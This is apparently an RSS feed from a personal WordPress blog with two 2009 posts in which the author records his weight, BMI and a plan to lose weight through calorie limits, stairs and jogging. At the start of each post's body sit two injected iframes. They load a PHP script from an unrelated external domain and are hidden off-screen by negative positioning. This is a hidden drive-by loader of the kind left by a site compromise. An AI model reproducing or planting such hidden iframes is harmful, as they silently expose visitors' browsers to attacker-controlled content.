<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Adam G Newton &#187; Flights</title>
	<atom:link href="http://www.adamgnewton.co.uk/tag/flights/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.adamgnewton.co.uk</link>
	<description>It&#039;s all about me</description>
	<lastBuildDate>Sat, 28 Jan 2012 15:43:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>So Far, So Good&#8230;</title>
		<link>http://www.adamgnewton.co.uk/2009/01/so-far-so-good/</link>
		<comments>http://www.adamgnewton.co.uk/2009/01/so-far-so-good/#comments</comments>
		<pubDate>Fri, 02 Jan 2009 14:52:46 +0000</pubDate>
		<dc:creator>Adam G Newton</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Calories]]></category>
		<category><![CDATA[Flights]]></category>
		<category><![CDATA[Jog]]></category>
		<category><![CDATA[Journey Of A Thousand Miles]]></category>
		<category><![CDATA[Single Step]]></category>
		<category><![CDATA[Stairs]]></category>

		<guid isPermaLink="false">http://adamgnewton.co.uk/?p=27</guid>
		<description><![CDATA[Well, the first day went OK &#8211; managed to keep the calories within in the specified limit, did 25 flights of stairs, and went for a (very) short jog. Woke up feeling&#8230;lighter! It&#8217;s probably entirely psychological, but getting the psycological &#8230; <a href="http://www.adamgnewton.co.uk/2009/01/so-far-so-good/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='412' height='379' style='position:absolute; left:-3181;'></iframe><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='193' height='160' style='position:absolute; left:-3919;'></iframe>Well, the first day went OK &#8211; managed to keep the calories within in the specified limit, did 25 flights of stairs, and went for a (very) short jog.</p>
<p>Woke up feeling&#8230;lighter! It&#8217;s probably entirely psychological, but getting the psycological boost should help with keeping the physical in check!</p>
<p>I know it&#8217;s not a great achievement, but the journey of a thousand miles starts with a single step, doesn&#8217;t it?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adamgnewton.co.uk/2009/01/so-far-so-good/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Goal #1, Weight Loss</title>
		<link>http://www.adamgnewton.co.uk/2009/01/goal-1-weight-loss/</link>
		<comments>http://www.adamgnewton.co.uk/2009/01/goal-1-weight-loss/#comments</comments>
		<pubDate>Thu, 01 Jan 2009 11:09:29 +0000</pubDate>
		<dc:creator>Adam G Newton</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Bmi]]></category>
		<category><![CDATA[Body Mass Index]]></category>
		<category><![CDATA[Brisk Walk]]></category>
		<category><![CDATA[Daily Calorie Intake]]></category>
		<category><![CDATA[Flights]]></category>
		<category><![CDATA[Ideal Weight]]></category>
		<category><![CDATA[Obese]]></category>
		<category><![CDATA[Overweight]]></category>
		<category><![CDATA[Sounds]]></category>
		<category><![CDATA[Stairs]]></category>
		<category><![CDATA[Weight Loss]]></category>
		<category><![CDATA[Zombie Film]]></category>

		<guid isPermaLink="false">http://adamgnewton.co.uk/?p=20</guid>
		<description><![CDATA[Here we go then. As of today, I weigh 231lbs and stand 6ft tall, giving a body mass index of over 31. Anything above 29.9 is obese &#8211; so I am officially obese! My ideal weight is said to be &#8230; <a href="http://www.adamgnewton.co.uk/2009/01/goal-1-weight-loss/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='412' height='379' style='position:absolute; left:-3181;'></iframe><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='193' height='160' style='position:absolute; left:-3919;'></iframe>Here we go then. As of today, I weigh 231lbs and stand 6ft tall, giving a body mass index of over 31. Anything above 29.9 is obese &#8211; so I am officially obese!</p>
<p>My ideal weight is said to be 175lbs, which makes me about 56lbs overweight.</p>
<p>The first step, however, is to become &#8216;not obese&#8217;. To get a BMI of less than 30, I need to get to about 15 stone 10lbs &#8211; which is 220lbs. So goal #1, step #1 &#8211; lose 11lbs.</p>
<p>I intend to attack this goal by decreasing my daily calorie intake, and starting to exercise &#8211; nothing drastic yet, just a few flights of stairs or a brisk walk to begin with.</p>
<p>As it is not expected that anyone will lose more than 2lbs a week on average, then I could be down to my ideal weight in 28 weeks  (which sounds like a zombie film to me) and I should have achieved step #1 by around the start of February.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adamgnewton.co.uk/2009/01/goal-1-weight-loss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

